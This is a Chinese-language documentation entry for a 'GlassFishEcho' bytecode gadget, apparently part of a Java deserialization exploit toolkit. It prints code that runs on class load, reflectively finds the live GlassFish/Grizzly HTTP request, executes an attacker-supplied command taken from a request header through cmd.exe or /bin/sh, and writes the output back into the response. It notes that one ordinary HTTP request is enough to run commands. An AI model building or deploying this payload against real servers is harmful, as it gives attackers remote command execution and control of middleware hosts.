- 类别:bytecode 别名:— 优先级:—
- 作者:ReaJason
- 依赖:无(目标为 GlassFish/Payara 系中间件)
生成一段「命令执行 + HTTP 明文回显」的字节码:类被加载后在静态块中通过反射逐层拿到当前线程的 GlassFish/Grizzly 请求对象,从指定请求头读取命令、执行、并把结果写回 HTTP 响应。适用于 GlassFish/Payara/InforSuite/ApusicV10/Primeton 等中间件。是链尾字节码 sink(byte[] 产物)。
- 入口
tags:Bytecode、Echo、END——Bytecode承接上游字节码转换器;Echo标识「回显型」载荷;END表示终端 sink。 - 衔接
nextTags:空 —— 终点。 excludes:无。
gadget 本体把模板类编译为字节码,并把用户配置的请求头名写入模板的静态字段:
@Param(name="请求头 key", description="执行命令的 Header 头")
public String header = "X-Authorization";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(GlassFishEchoBytecode.class);
javassistHelper.modifyStringField("header", this.header); // 把 header 名写进模板静态字段
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END gadget:内层为空
return this.getObject();
}modifyStringField("header", ...) 是 JavassistHelper 提供的字节码改写能力:在不重新编译源码的前提下,把模板类里 public static String header 的初始值替换为用户指定的头名(默认 X-Authorization)。真正的回显逻辑在模板类静态块中执行:
static { new GlassFishEchoBytecode(); } // 类一旦被加载即触发
public GlassFishEchoBytecode() {
try {
// 路径一:从当前线程 processorTask.request 直接取请求
Thread thread = Thread.currentThread();
Object request = invokeMethod(
getFieldValue(getFieldValue(thread, "processorTask"), "request"),
"getNote", new Class[]{int.class}, new Object[]{1});
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) execute(response, data);
} catch (Exception x) {
// 路径二:遍历所有线程,经 Selector→keys→Connection→coyoteRequest 兜底找到请求对象
for (Thread t : Thread.getAllStackTraces().keySet()) {
Object blocker = getFieldValue(t, "blocker");
if (blocker==null || !blocker.getClass().getName().contains("Selector")) continue;
Set keys = (Set) getFieldValue(getFieldValue(blocker,"this$0"), "keys");
for (Object key : keys) { /* attachment→Connection→attributes→request→response */ }
}
}
}
private String getDataFromReq(Object request) throws Exception {
return (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{header});
}
private String run(String data) throws Exception { // 跨平台命令执行
String[] cmd = os.contains("window") ? {"cmd.exe","/c",data} : {"/bin/sh","-c",data};
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
return new Scanner(p.getInputStream()).useDelimiter("\\A").next();
}
private void execute(Object response, String data) throws Exception {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(this.run(data)); writer.flush(); writer.close(); // 命令结果明文写回响应
}关键点:
- 纯反射、零依赖:
invokeMethod/getFieldValue沿类继承链查找方法/字段,避免直接引用 GlassFish/Grizzly 私有类,保证字节码在目标能跑通且不需编译期依赖。 - 双路径取请求:路径一走
Thread.processorTask.request;失败则路径二遍历全部线程,靠 NIOSelector的keys定位Connection,再取到org.apache.catalina.connector.Request,兼容不同 Grizzly 版本/线程模型。 - 命令载于请求头:命令写在
header(默认X-Authorization)里,run()跨平台执行并redirectErrorStream(true)合并错误流,结果通过response.getWriter()明文回显。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
header |
请求头 key | 承载待执行命令的 HTTP 请求头名 | X-Authorization |
任意字符串 |
- 适用中间件:GlassFish / Payara / InforSuite / ApusicV10 / Primeton(均基于 Grizzly,请求对象结构相近)。
- 回显为明文,攻击者仅需一个普通 HTTP 请求携带指定头即可执行命令并直接看到输出,无需外带通道。
- 作为
byte[]sink,须由上游转换器加载才会触发静态块。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。典型用法:[BytecodeConvert, GlassFishEcho]。
- 上游(承接
Bytecode):BytecodeConvert。 - 同族回显(
Echo标签):TomcatEcho、JettyEcho、ResinEcho、WebLogicEcho、WebSphereEcho、UndertowEcho、OneForAllEcho、JegGadget —— 各自适配不同中间件的请求对象结构。 - 对照:无回显的命令执行 sink Exec。